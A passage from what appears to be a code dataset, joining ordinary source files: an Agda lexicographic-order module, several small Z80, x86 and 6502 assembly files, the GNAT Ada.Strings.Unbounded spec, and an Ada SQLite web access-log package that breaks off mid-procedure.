tri₁ = Conv.<-trichotomous _ _ sym₁ dec₁ antisym₁ total₁
total : Total _≤ₗₑₓ_
total x y with tri₁ (proj₁ x) (proj₁ y)
... | tri< x₁<y₁ x₁≉y₁ x₁≯y₁ = inj₁ (inj₁ x₁<y₁)
... | tri> x₁≮y₁ x₁≉y₁ x₁>y₁ = inj₂ (inj₁ x₁>y₁)
... | tri≈ x₁≮y₁ x₁≈y₁ x₁≯y₁ with total₂ (proj₂ x) (proj₂ y)
... | inj₁ x₂≤y₂ = inj₁ (inj₂ (x₁≈y₁ , x₂≤y₂))
... | inj₂ x₂≥y₂ = inj₂ (inj₂ (sym₁ x₁≈y₁ , x₂≥y₂))
×-decidable : Decidable _≈₁_ → Decidable _≤₁_ → Decidable _≤₂_ →
Decidable _≤ₗₑₓ_
×-decidable dec-≈₁ dec-≤₁ dec-≤₂ =
Strict.×-decidable dec-≈₁ (Conv.<-decidable _ _ dec-≈₁ dec-≤₁)
dec-≤₂
module _ {_≈₁_ : Rel A ℓ₁} {_≤₁_ : Rel A ℓ₂}
{_≈₂_ : Rel B ℓ₃} {_≤₂_ : Rel B ℓ₄}
where
private
_≤ₗₑₓ_ = ×-Lex _≈₁_ _≤₁_ _≤₂_
_≋_ = Pointwise _≈₁_ _≈₂_
×-antisymmetric : IsPartialOrder _≈₁_ _≤₁_ → Antisymmetric _≈₂_ _≤₂_ →
Antisymmetric _≋_ _≤ₗₑₓ_
×-antisymmetric po₁ antisym₂ =
Strict.×-antisymmetric {_≈₁_ = _≈₁_} {_<₂_ = _≤₂_}
≈-sym₁ irrefl₁ asym₁ antisym₂
where
open IsPartialOrder po₁
open Eq renaming (refl to ≈-refl₁; sym to ≈-sym₁)
irrefl₁ : Irreflexive _≈₁_ (Conv._<_ _≈₁_ _≤₁_)
irrefl₁ = Conv.<-irrefl _≈₁_ _≤₁_
asym₁ : Asymmetric (Conv._<_ _≈₁_ _≤₁_)
asym₁ = trans∧irr⟶asym {_≈_ = _≈₁_}
≈-refl₁ (Conv.<-trans _ _ po₁) irrefl₁
×-respects₂ : IsEquivalence _≈₁_ →
_≤₁_ Respects₂ _≈₁_ → _≤₂_ Respects₂ _≈₂_ →
_≤ₗₑₓ_ Respects₂ _≋_
×-respects₂ eq₁ resp₁ resp₂ =
Strict.×-respects₂ eq₁ (Conv.<-resp-≈ _ _ eq₁ resp₁) resp₂
------------------------------------------------------------------------
-- Structures
×-isPartialOrder : IsPartialOrder _≈₁_ _≤₁_ →
IsPartialOrder _≈₂_ _≤₂_ →
IsPartialOrder _≋_ _≤ₗₑₓ_
×-isPartialOrder po₁ po₂ = record
{ isPreorder = record
{ isEquivalence = Pointwise.×-isEquivalence
(isEquivalence po₁)
(isEquivalence po₂)
; reflexive = ×-reflexive _≈₁_ _≤₁_ _≤₂_ (reflexive po₂)
; trans = ×-transitive {_≤₂_ = _≤₂_} po₁ (trans po₂)
}
; antisym = ×-antisymmetric po₁ (antisym po₂)
}
where open IsPartialOrder
×-isTotalOrder : Decidable _≈₁_ →
IsTotalOrder _≈₁_ _≤₁_ →
IsTotalOrder _≈₂_ _≤₂_ →
IsTotalOrder _≋_ _≤ₗₑₓ_
×-isTotalOrder ≈₁-dec to₁ to₂ = record
{ isPartialOrder = ×-isPartialOrder
(isPartialOrder to₁) (isPartialOrder to₂)
; total = ×-total (Eq.sym to₁) ≈₁-dec
(antisym to₁) (total to₁)
(total to₂)
}
where open IsTotalOrder
×-isDecTotalOrder : IsDecTotalOrder _≈₁_ _≤₁_ →
IsDecTotalOrder _≈₂_ _≤₂_ →
IsDecTotalOrder _≋_ _≤ₗₑₓ_
×-isDecTotalOrder to₁ to₂ = record
{ isTotalOrder = ×-isTotalOrder (_≟_ to₁)
(isTotalOrder to₁)
(isTotalOrder to₂)
; _≟_ = Pointwise.×-decidable (_≟_ to₁) (_≟_ to₂)
; _≤?_ = ×-decidable (_≟_ to₁) (_≤?_ to₁) (_≤?_ to₂)
}
where open IsDecTotalOrder
------------------------------------------------------------------------
-- Bundles
×-poset : Poset a ℓ₁ ℓ₂ → Poset b ℓ₃ ℓ₄ → Poset _ _ _
×-poset p₁ p₂ = record
{ isPartialOrder = ×-isPartialOrder O₁.isPartialOrder O₂.isPartialOrder
} where module O₁ = Poset p₁; module O₂ = Poset p₂
×-totalOrder : DecTotalOrder a ℓ₁ ℓ₂ →
TotalOrder b ℓ₃ ℓ₄ →
TotalOrder _ _ _
×-totalOrder t₁ t₂ = record
{ isTotalOrder = ×-isTotalOrder T₁._≟_ T₁.isTotalOrder T₂.isTotalOrder
} where module T₁ = DecTotalOrder t₁; module T₂ = TotalOrder t₂
×-decTotalOrder : DecTotalOrder a ℓ₁ ℓ₂ →
DecTotalOrder b ℓ₃ ℓ₄ →
DecTotalOrder _ _ _
×-decTotalOrder t₁ t₂ = record
{ isDecTotalOrder = ×-isDecTotalOrder O₁.isDecTotalOrder O₂.isDecTotalOrder
} where module O₁ = DecTotalOrder t₁; module O₂ = DecTotalOrder t₂
------------------------------------------------------------------------
-- DEPRECATED NAMES
------------------------------------------------------------------------
-- Please use the new names as continuing support for the old names is
-- not guaranteed.
-- Version 0.15
_×-isPartialOrder_ = ×-isPartialOrder
{-# WARNING_ON_USAGE _×-isPartialOrder_
"Warning: _×-isPartialOrder_ was deprecated in v0.15.
Please use ×-isPartialOrder instead."
#-}
_×-isDecTotalOrder_ = ×-isDecTotalOrder
{-# WARNING_ON_USAGE _×-isDecTotalOrder_
"Warning: _×-isDecTotalOrder_ was deprecated in v0.15.
Please use ×-isDecTotalOrder instead."
#-}
_×-poset_ = ×-poset
{-# WARNING_ON_USAGE _×-poset_
"Warning: _×-poset_ was deprecated in v0.15.
Please use ×-poset instead."
#-}
_×-totalOrder_ = ×-totalOrder
{-# WARNING_ON_USAGE _×-totalOrder_
"Warning: _×-totalOrder_ was deprecated in v0.15.
Please use ×-totalOrder instead."
#-}
_×-decTotalOrder_ = ×-decTotalOrder
{-# WARNING_ON_USAGE _×-decTotalOrder_
"Warning: _×-decTotalOrder_ was deprecated in v0.15.
Please use ×-decTotalOrder instead."
#-}
×-≈-respects₂ = ×-respects₂
{-# WARNING_ON_USAGE ×-≈-respects₂
"Warning: ×-≈-respects₂ was deprecated in v0.15.
Please use ×-respects₂ instead."
#-}
|
libsrc/stdio_new/file/vasprintf.asm | andydansby/z88dk-mk2 | 1 | 6255 | <reponame>andydansby/z88dk-mk2
; wrapper for function pointers
XLIB vasprintf
LIB vasprintf_callee
XREF ASMDISP_VASPRINTF_CALLEE
.vasprintf
pop hl
pop bc
pop de
exx
pop hl
ld de,0
push hl
exx
push de
push bc
push hl
jp vasprintf_callee + ASMDISP_VASPRINTF_CALLEE
|
src/RPN_Parser.asm | Juaanma/RPN-Parser | 0 | 247327 | ; Reverse Polish notation parser in ASM (NASM x86 32 bits).
%include "Parser_Helper.asm"
SYS_EXIT equ 1
segment .data
msg1 db "This is a reverse Polish notation parser written in NASM.", 0xA
msg1_len equ $ - msg1
msg2 db "Please enter a valid expression to be evaluated. For example: '3 5 + 2 *'.", 0xA
msg2_len equ $ - msg2
msg3 db "As for now, this program doesn't support negative numbers.", 0xA
msg3_len equ $ - msg3
segment .text
global _start
_start:
write_string msg1, msg1_len
write_string msg2, msg2_len
write_string msg3, msg3_len
call read_and_parse
; Pass the result of the expression as an argument to the print_integer function (through the stack).
push dword [num]
call print_integer
; Update the stack pointer to remove the argument from the stack.
add esp, 4
mov eax, SYS_EXIT
int 80h
|
src/main/fragment/mos6502-common/vbuaa=vbuaa_bor__deref_pbuz1.asm | jbrandwood/kickc | 2 | 3720 | ldy #0
ora ({z1}),y
|
gcc-gcc-7_3_0-release/gcc/ada/a-strunb.ads | best08618/asylo | 7 | 2488 | ------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME COMPONENTS --
-- --
-- A D A . S T R I N G S . U N B O U N D E D --
-- --
-- S p e c --
-- --
-- Copyright (C) 1992-2011, Free Software Foundation, Inc. --
-- --
-- This specification is derived from the Ada Reference Manual for use with --
-- GNAT. The copyright notice above, and the license provisions that follow --
-- apply solely to the contents of the part following the private keyword. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Ada.Strings.Maps;
with Ada.Finalization;
package Ada.Strings.Unbounded is
pragma Preelaborate;
type Unbounded_String is private;
pragma Preelaborable_Initialization (Unbounded_String);
Null_Unbounded_String : constant Unbounded_String;
function Length (Source : Unbounded_String) return Natural;
type String_Access is access all String;
procedure Free (X : in out String_Access);
--------------------------------------------------------
-- Conversion, Concatenation, and Selection Functions --
--------------------------------------------------------
function To_Unbounded_String
(Source : String) return Unbounded_String;
function To_Unbounded_String
(Length : Natural) return Unbounded_String;
function To_String (Source : Unbounded_String) return String;
procedure Set_Unbounded_String
(Target : out Unbounded_String;
Source : String);
pragma Ada_05 (Set_Unbounded_String);
procedure Append
(Source : in out Unbounded_String;
New_Item : Unbounded_String);
procedure Append
(Source : in out Unbounded_String;
New_Item : String);
procedure Append
(Source : in out Unbounded_String;
New_Item : Character);
function "&"
(Left : Unbounded_String;
Right : Unbounded_String) return Unbounded_String;
function "&"
(Left : Unbounded_String;
Right : String) return Unbounded_String;
function "&"
(Left : String;
Right : Unbounded_String) return Unbounded_String;
function "&"
(Left : Unbounded_String;
Right : Character) return Unbounded_String;
function "&"
(Left : Character;
Right : Unbounded_String) return Unbounded_String;
function Element
(Source : Unbounded_String;
Index : Positive) return Character;
procedure Replace_Element
(Source : in out Unbounded_String;
Index : Positive;
By : Character);
function Slice
(Source : Unbounded_String;
Low : Positive;
High : Natural) return String;
function Unbounded_Slice
(Source : Unbounded_String;
Low : Positive;
High : Natural) return Unbounded_String;
pragma Ada_05 (Unbounded_Slice);
procedure Unbounded_Slice
(Source : Unbounded_String;
Target : out Unbounded_String;
Low : Positive;
High : Natural);
pragma Ada_05 (Unbounded_Slice);
function "="
(Left : Unbounded_String;
Right : Unbounded_String) return Boolean;
function "="
(Left : Unbounded_String;
Right : String) return Boolean;
function "="
(Left : String;
Right : Unbounded_String) return Boolean;
function "<"
(Left : Unbounded_String;
Right : Unbounded_String) return Boolean;
function "<"
(Left : Unbounded_String;
Right : String) return Boolean;
function "<"
(Left : String;
Right : Unbounded_String) return Boolean;
function "<="
(Left : Unbounded_String;
Right : Unbounded_String) return Boolean;
function "<="
(Left : Unbounded_String;
Right : String) return Boolean;
function "<="
(Left : String;
Right : Unbounded_String) return Boolean;
function ">"
(Left : Unbounded_String;
Right : Unbounded_String) return Boolean;
function ">"
(Left : Unbounded_String;
Right : String) return Boolean;
function ">"
(Left : String;
Right : Unbounded_String) return Boolean;
function ">="
(Left : Unbounded_String;
Right : Unbounded_String) return Boolean;
function ">="
(Left : Unbounded_String;
Right : String) return Boolean;
function ">="
(Left : String;
Right : Unbounded_String) return Boolean;
------------------------
-- Search Subprograms --
------------------------
function Index
(Source : Unbounded_String;
Pattern : String;
Going : Direction := Forward;
Mapping : Maps.Character_Mapping := Maps.Identity) return Natural;
function Index
(Source : Unbounded_String;
Pattern : String;
Going : Direction := Forward;
Mapping : Maps.Character_Mapping_Function) return Natural;
function Index
(Source : Unbounded_String;
Set : Maps.Character_Set;
Test : Membership := Inside;
Going : Direction := Forward) return Natural;
function Index
(Source : Unbounded_String;
Pattern : String;
From : Positive;
Going : Direction := Forward;
Mapping : Maps.Character_Mapping := Maps.Identity) return Natural;
pragma Ada_05 (Index);
function Index
(Source : Unbounded_String;
Pattern : String;
From : Positive;
Going : Direction := Forward;
Mapping : Maps.Character_Mapping_Function) return Natural;
pragma Ada_05 (Index);
function Index
(Source : Unbounded_String;
Set : Maps.Character_Set;
From : Positive;
Test : Membership := Inside;
Going : Direction := Forward) return Natural;
pragma Ada_05 (Index);
function Index_Non_Blank
(Source : Unbounded_String;
Going : Direction := Forward) return Natural;
function Index_Non_Blank
(Source : Unbounded_String;
From : Positive;
Going : Direction := Forward) return Natural;
pragma Ada_05 (Index_Non_Blank);
function Count
(Source : Unbounded_String;
Pattern : String;
Mapping : Maps.Character_Mapping := Maps.Identity) return Natural;
function Count
(Source : Unbounded_String;
Pattern : String;
Mapping : Maps.Character_Mapping_Function) return Natural;
function Count
(Source : Unbounded_String;
Set : Maps.Character_Set) return Natural;
procedure Find_Token
(Source : Unbounded_String;
Set : Maps.Character_Set;
From : Positive;
Test : Membership;
First : out Positive;
Last : out Natural);
pragma Ada_2012 (Find_Token);
procedure Find_Token
(Source : Unbounded_String;
Set : Maps.Character_Set;
Test : Membership;
First : out Positive;
Last : out Natural);
------------------------------------
-- String Translation Subprograms --
------------------------------------
function Translate
(Source : Unbounded_String;
Mapping : Maps.Character_Mapping) return Unbounded_String;
procedure Translate
(Source : in out Unbounded_String;
Mapping : Maps.Character_Mapping);
function Translate
(Source : Unbounded_String;
Mapping : Maps.Character_Mapping_Function) return Unbounded_String;
procedure Translate
(Source : in out Unbounded_String;
Mapping : Maps.Character_Mapping_Function);
---------------------------------------
-- String Transformation Subprograms --
---------------------------------------
function Replace_Slice
(Source : Unbounded_String;
Low : Positive;
High : Natural;
By : String) return Unbounded_String;
procedure Replace_Slice
(Source : in out Unbounded_String;
Low : Positive;
High : Natural;
By : String);
function Insert
(Source : Unbounded_String;
Before : Positive;
New_Item : String) return Unbounded_String;
procedure Insert
(Source : in out Unbounded_String;
Before : Positive;
New_Item : String);
function Overwrite
(Source : Unbounded_String;
Position : Positive;
New_Item : String) return Unbounded_String;
procedure Overwrite
(Source : in out Unbounded_String;
Position : Positive;
New_Item : String);
function Delete
(Source : Unbounded_String;
From : Positive;
Through : Natural) return Unbounded_String;
procedure Delete
(Source : in out Unbounded_String;
From : Positive;
Through : Natural);
function Trim
(Source : Unbounded_String;
Side : Trim_End) return Unbounded_String;
procedure Trim
(Source : in out Unbounded_String;
Side : Trim_End);
function Trim
(Source : Unbounded_String;
Left : Maps.Character_Set;
Right : Maps.Character_Set) return Unbounded_String;
procedure Trim
(Source : in out Unbounded_String;
Left : Maps.Character_Set;
Right : Maps.Character_Set);
function Head
(Source : Unbounded_String;
Count : Natural;
Pad : Character := Space) return Unbounded_String;
procedure Head
(Source : in out Unbounded_String;
Count : Natural;
Pad : Character := Space);
function Tail
(Source : Unbounded_String;
Count : Natural;
Pad : Character := Space) return Unbounded_String;
procedure Tail
(Source : in out Unbounded_String;
Count : Natural;
Pad : Character := Space);
function "*"
(Left : Natural;
Right : Character) return Unbounded_String;
function "*"
(Left : Natural;
Right : String) return Unbounded_String;
function "*"
(Left : Natural;
Right : Unbounded_String) return Unbounded_String;
private
pragma Inline (Length);
package AF renames Ada.Finalization;
Null_String : aliased String := "";
function To_Unbounded (S : String) return Unbounded_String
renames To_Unbounded_String;
type Unbounded_String is new AF.Controlled with record
Reference : String_Access := Null_String'Access;
Last : Natural := 0;
end record;
-- The Unbounded_String is using a buffered implementation to increase
-- speed of the Append/Delete/Insert procedures. The Reference string
-- pointer above contains the current string value and extra room at the
-- end to be used by the next Append routine. Last is the index of the
-- string ending character. So the current string value is really
-- Reference (1 .. Last).
pragma Stream_Convert (Unbounded_String, To_Unbounded, To_String);
-- Provide stream routines without dragging in Ada.Streams
pragma Finalize_Storage_Only (Unbounded_String);
-- Finalization is required only for freeing storage
procedure Initialize (Object : in out Unbounded_String);
procedure Adjust (Object : in out Unbounded_String);
procedure Finalize (Object : in out Unbounded_String);
procedure Realloc_For_Chunk
(Source : in out Unbounded_String;
Chunk_Size : Natural);
pragma Inline (Realloc_For_Chunk);
-- Adjust the size allocated for the string. Add at least Chunk_Size so it
-- is safe to add a string of this size at the end of the current content.
-- The real size allocated for the string is Chunk_Size + x of the current
-- string size. This buffered handling makes the Append unbounded string
-- routines very fast. This spec is in the private part so that it can be
-- accessed from children (e.g. from Unbounded.Text_IO).
Null_Unbounded_String : constant Unbounded_String :=
(AF.Controlled with
Reference => Null_String'Access,
Last => 0);
end Ada.Strings.Unbounded;
|
libsrc/_DEVELOPMENT/arch/ts2068/display/c/sdcc/tshc_aaddrpright_callee.asm | jpoikela/z88dk | 640 | 161977 | ; void *tshc_aaddrpright(void *aaddr, uchar bitmask)
SECTION code_clib
SECTION code_arch
PUBLIC _tshc_aaddrpright_callee
EXTERN _zx_saddrpright_callee
defc _tshc_aaddrpright_callee = _zx_saddrpright_callee
|
src/lithium-access_log.adb | faelys/lithium3 | 1 | 1906 | ------------------------------------------------------------------------------
-- Copyright (c) 2015, <NAME> --
-- --
-- Permission to use, copy, modify, and distribute this software for any --
-- purpose with or without fee is hereby granted, provided that the above --
-- copyright notice and this permission notice appear in all copies. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES --
-- WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF --
-- MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR --
-- ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES --
-- WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN --
-- ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF --
-- OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. --
------------------------------------------------------------------------------
------------------------------------------------------------------------------
-- This access log implementation uses a straightforward single-table --
-- SQLite 3 backend. --
------------------------------------------------------------------------------
with Ada.Containers.Doubly_Linked_Lists;
with Ada.Exceptions;
with Ada.Strings.Unbounded;
with Ada.Text_IO;
with AWS.Headers;
with AWS.Messages;
with Interfaces.C;
with Natools.Web;
with SQLite3;
package body Lithium.Access_Log is
subtype String_Holder is Ada.Strings.Unbounded.Unbounded_String;
function Hold (Value : in String) return String_Holder
renames Ada.Strings.Unbounded.To_Unbounded_String;
function To_String (Holder : in String_Holder) return String
renames Ada.Strings.Unbounded.To_String;
function Is_Empty (Holder : in String_Holder) return Boolean
is (Ada.Strings.Unbounded.Length (Holder) = 0);
Empty_Holder : constant String_Holder
:= Ada.Strings.Unbounded.Null_Unbounded_String;
package String_Tables is
type Enum is
(Peer_Name, Method, Path, Http_Version, Referrer,
User_Agent, Cookies, Host, Real_IP, Forwarded_For, Forwarded_Proto);
end String_Tables;
type Holder_Array is array (String_Tables.Enum) of String_Holder;
type Extended_Log_Entry (Is_Empty : Boolean := True) is record
case Is_Empty is
when True => null;
when False =>
Strings : Holder_Array;
Status_Code : Integer;
Bytes : Long_Integer;
Build_Time : Duration;
Export_Time : Duration;
end case;
end record;
subtype Log_Entry is Extended_Log_Entry (Is_Empty => False);
SQLite_Error : exception;
package Log_Queue is new Ada.Containers.Doubly_Linked_Lists (Log_Entry);
Create_SQL : constant String := "CREATE TABLE IF NOT EXISTS access ("
& "time NOT NULL DEFAULT CURRENT_TIMESTAMP, "
& "peer_name INTEGER, "
& "method INTEGER, "
& "path INTEGER, "
& "http_version INTEGER, "
& "status_code INTEGER, "
& "bytes INTEGER, "
& "referrer INTEGER, "
& "user_agent INTEGER, "
& "cookies INTEGER, "
& "build_time REAL, "
& "export_time REAL, "
& "host INTEGER, "
& "real_ip INTEGER, "
& "forwarded_for INTEGER, "
& "forwarded_proto INTEGER, "
& "FOREIGN KEY (peer_name) REFERENCES peer_names(rowid), "
& "FOREIGN KEY (method) REFERENCES methods(rowid), "
& "FOREIGN KEY (path) REFERENCES paths(rowid), "
& "FOREIGN KEY (http_version) REFERENCES http_versions(rowid), "
& "FOREIGN KEY (referrer) REFERENCES referrers(rowid), "
& "FOREIGN KEY (user_agent) REFERENCES user_agents(rowid), "
& "FOREIGN KEY (cookies) REFERENCES cookies(rowid), "
& "FOREIGN KEY (host) REFERENCES hosts(rowid), "
& "FOREIGN KEY (real_ip) REFERENCES real_ips(rowid), "
& "FOREIGN KEY (forwarded_for) REFERENCES forwarded_fors(rowid), "
& "FOREIGN KEY (forwarded_proto) REFERENCES forwarded_fors(rowid));";
Insert_SQL : constant String := "INSERT INTO access "
& "(peer_name, method, path, http_version, status_code, bytes, referrer, "
& "user_agent, cookies, build_time, export_time, "
& "host, real_ip, forwarded_for, forwarded_proto) "
& "VALUES ("
& "(SELECT rowid FROM peer_names WHERE value = ?1),"
& "(SELECT rowid FROM methods WHERE value = ?2),"
& "(SELECT rowid FROM paths WHERE value = ?3),"
& "(SELECT rowid FROM http_versions WHERE value = ?4),"
& "?5, ?6, "
& "(SELECT rowid FROM referrers WHERE value = ?7),"
& "(SELECT rowid FROM user_agents WHERE value = ?8),"
& "(SELECT rowid FROM cookies WHERE value = ?9),"
& "?10, ?11, "
& "(SELECT rowid FROM hosts WHERE value = ?12),"
& "(SELECT rowid FROM real_ips WHERE value = ?13),"
& "(SELECT rowid FROM forwarded_fors WHERE value = ?14),"
& "(SELECT rowid FROM forwarded_protos WHERE value = ?15)"
& ");";
procedure Bind
(Stmt : in out SQLite3.SQLite3_Statement;
Values : in Log_Entry);
-- Bind a log entry to the main insert statement
procedure Bind
(Stmt : in out SQLite3.SQLite3_Statement;
Value : in String);
-- Bind a string value to a table-specific insert statement
procedure Initialize
(Handle : in out SQLite3.SQLite3_DB;
Name : in String);
procedure Run_Simple_SQL
(Handle : in SQLite3.SQLite3_DB;
SQL_String : in String;
Name : in String);
-- Run a simple one-time SQL query, without error handling
-- besides throwing SQLite_Error exceptions.
generic
type Input_Type (<>) is limited private;
with procedure Bind
(Stmt : in out SQLite3.SQLite3_Statement;
Input : in Input_Type) is <>;
procedure Run_SQL
(Handle : in SQLite3.SQLite3_DB;
Stmt : in out SQLite3.SQLite3_Statement;
Stmt_Ready : in out Boolean;
Input : in Input_Type;
SQL_String : in String;
Name : in String);
-- Run one attempt of the given statement and handle errors
function Table_Name (T : in String_Tables.Enum) return String;
-- Return the SQL table name associated with T
protected Queue is
entry Append (Values : in Log_Entry);
procedure Next (Values : out Extended_Log_Entry);
private
Task_Waiting : Boolean := True;
List : Log_Queue.List;
end Queue;
task Worker is
entry Run (Values : in Log_Entry);
end Worker;
------------------------------
-- Local Helper Subprograms --
------------------------------
procedure Bind
(Stmt : in out SQLite3.SQLite3_Statement;
Values : in Log_Entry)
is
use type SQLite3.Error_Code;
generic
type Value_Type (<>) is limited private;
with procedure SQLite3_Bind
(Stmt : in SQLite3.SQLite3_Statement;
Index : in SQLite3.SQL_Parameter_Index;
Value : in Value_Type;
Status : out SQLite3.Error_Code);
procedure Generic_Bind
(Index : in SQLite3.SQL_Parameter_Index;
Value : in Value_Type;
Name : in String);
procedure Bind
(Index : in SQLite3.SQL_Parameter_Index;
Value : in String_Holder;
Name : in String);
Status : SQLite3.Error_Code;
procedure Generic_Bind
(Index : in SQLite3.SQL_Parameter_Index;
Value : in Value_Type;
Name : in String) is
begin
SQLite3_Bind (Stmt, Index, Value, Status);
if Status /= SQLite3.SQLITE_OK then
Natools.Web.Log
(Natools.Web.Severities.Error,
"Unable to bind " & Name & " to statement: "
& SQLite3.Error_Code'Image (Status));
raise SQLite_Error;
end if;
end Generic_Bind;
procedure Bind is new Generic_Bind (String, SQLite3.Bind);
procedure Bind is new Generic_Bind (Long_Integer, SQLite3.Bind);
procedure Bind is new Generic_Bind (Interfaces.C.double, SQLite3.Bind);
procedure Bind
(Index : in SQLite3.SQL_Parameter_Index;
Value : in String_Holder;
Name : in String) is
begin
if not Is_Empty (Value) then
Bind (Index, To_String (Value), Name);
end if;
end Bind;
use String_Tables;
begin
Bind (1, Values.Strings (Peer_Name), "peer name");
Bind (2, Values.Strings (Method), "method");
Bind (3, Values.Strings (Path), "path");
Bind (4, Values.Strings (Http_Version), "HTTP version");
Bind (5, Long_Integer (Values.Status_Code), "status code");
Bind (6, Values.Bytes, "response size");
Bind (7, Values.Strings (Referrer), "response size");
Bind (8, Values.Strings (User_Agent), "response size");
Bind (9, Values.Strings (Cookies), "response size");
Bind (10, Interfaces.C.double (Values.Build_Time), "build time");
Bind (11, Interfaces.C.double (Values.Export_Time), "export time");
Bind (12, Values.Strings (Host), "host");
Bind (13, Values.Strings (Real_IP), "real IP");
Bind (14, Values.Strings (Forwarded_For), "forwarded for");
Bind (15, Values.Strings (Forwarded_Proto), "forwarded proto");
end Bind;
procedure Bind
(Stmt : in out SQLite3.SQLite3_Statement;
Value : in String)
is
use type SQLite3.Error_Code;
Status : SQLite3.Error_Code;
begin
SQLite3.Bind (Stmt, 1, Value, Status);
if Status /= SQLite3.SQLITE_OK then
Natools.Web.Log
(Natools.Web.Severities.Error,
"Unable to bind string value to statement: "
& SQLite3.Error_Code'Image (Status));
raise SQLite_Error;
end if;
end Bind;
procedure Initialize
(Handle : in out SQLite3.SQLite3_DB;
Name : in String)
is
use type SQLite3.Error_Code;
Status : SQLite3.Error_Code;
begin
SQLite3.Open (Name, Handle, Status);
if Status /= SQLite3.SQLITE_OK then
Natools.Web.Log
(Natools.Web.Severities.Critical,
"Unable to open """ & Name & """: "
& SQLite3.Error_Code'Image (Status));
raise SQLite_Error;
end if;
Create_Tables :
begin
Run_Simple_SQL (Handle, Create_SQL, "main create");
for T in String_Tables.Enum loop
Run_Simple_SQL
(Handle,
"CREATE TABLE IF NOT EXISTS " & Table_Name (T)
& " (value TEXT PRIMARY KEY);",
Table_Name (T) & " create");
end loop;
exception
when SQLite_Error =>
SQLite3.Close (Handle, Status);
raise;
end Create_Tables;
end Initialize;
procedure Run_Simple_SQL
(Handle : in SQLite3.SQLite3_DB;
SQL_String : in String;
Name : in String)
is
use type SQLite3.Error_Code;
Status : SQLite3.Error_Code;
Stmt : SQLite3.SQLite3_Statement;
begin
SQLite3.Prepare (Handle, SQL_String, Stmt, Status);
if Status /= SQLite3.SQLITE_OK then
Natools.Web.Log
(Natools.Web.Severities.Error,
"Unable to prepare " & Name & " statement: "
& SQLite3.Error_Code'Image (Status)
& ' ' & SQLite3.Error_Message (Handle));
raise SQLite_Error;
end if;
loop
SQLite3.Step (Stmt, Status);
exit when Status = SQLite3.SQLITE_DONE;
if Status /= SQLite3.SQLITE_ROW then
Natools.Web.Log
(Natools.Web.Severities.Error,
"Unable to run " & Name & ": "
& SQLite3.Error_Code'Image (Status)
& ' ' & SQLite3.Error_Message (Handle));
raise SQLite_Error;
end if;
end loop;
SQLite3.Finish (Stmt, Status);
if Status /= SQLite3.SQLITE_OK then
Natools.Web.Log
(Natools.Web.Severities.Error,
"Unable to finish " & Name & " statement: "
& SQLite3.Error_Code'Image (Status)
& ' ' & SQLite3.Error_Message (Handle));
raise SQLite_Error;
end if;
end Run_Simple_SQL;
procedure Run_SQL
(Handle : in SQLite3.SQLite3_DB;
Stmt : in out SQLite3.SQLite3_Statement;
Stmt_Ready : in out Boolean;
Input : in Input_Type;
SQL_String : in String;
Name : in String)
is
use type SQLite3.Error_Code;
Status : SQLite3.Error_Code;
Retry_Left : Natural := 16;
begin
Retry_Loop :
loop
if not Stmt_Ready then
SQLite3.Prepare (Handle, SQL_String, Stmt, Status);
if Status /= SQLite3.SQLITE_OK then
raise SQLite_Error with
"Unable to prepare " & Name & " statement: "
& SQLite3.Error_Code'Image (Status)
& ' ' & SQLite3.Error_Message (Handle);
end if;
Stmt_Ready := True;
end if;
Run_Statement :
begin
Bind (Stmt, Input);
SQL_Step :
loop
SQLite3.Step (Stmt, Status);
exit SQL_Step when Status = SQLite3.SQLITE_DONE;
if Status /= SQLite3.SQLITE_ROW then
raise SQLite_Error with
"Unable to run " & Name & ": "
& SQLite3.Error_Code'Image (Status)
& ' ' & SQLite3.Error_Message (Handle);
end if;
end loop SQL_Step;
SQLite3.Reset (Stmt, Status);
if Status /= SQLite3.SQLITE_OK then
raise SQLite_Error with
"Unable to reset " & Name & " statement: "
& SQLite3.Error_Code'Image (Status)
& ' ' & SQLite3.Error_Message (Handle);
end if;
SQLite3.Clear_Bindings (Stmt, Status);
if Status /= SQLite3.SQLITE_OK then
raise SQLite_Error with
"Unable to reset " & Name & " statement: "
& SQLite3.Error_Code'Image (Status)
& ' ' & SQLite3.Error_Message (Handle);
end if;
exception
when Ex : SQLite_Error =>
Natools.Web.Log
(Natools.Web.Severities.Error,
Ada.Exceptions.Exception_Information (Ex));
SQLite3.Finish (Stmt, Status);
Stmt_Ready := False;
Retry_Left := Retry_Left - 1;
if Retry_Left > 0 then
delay 1.0;
else
raise;
end if;
end Run_Statement;
exit Retry_Loop when Stmt_Ready;
end loop Retry_Loop;
end Run_SQL;
function Table_Name (T : in String_Tables.Enum) return String is
use String_Tables;
begin
case T is
when Peer_Name => return "peer_names";
when Method => return "methods";
when Path => return "paths";
when Http_Version => return "http_versions";
when Referrer => return "referrers";
when User_Agent => return "user_agents";
when Cookies => return "cookies";
when Host => return "hosts";
when Real_IP => return "real_ips";
when Forwarded_For => return "forwarded_fors";
when Forwarded_Proto => return "forwarded_protos";
end case;
end Table_Name;
----------------------
-- Public Interface --
----------------------
procedure Log
(Request : in AWS.Status.Data;
Response : in AWS.Response.Data;
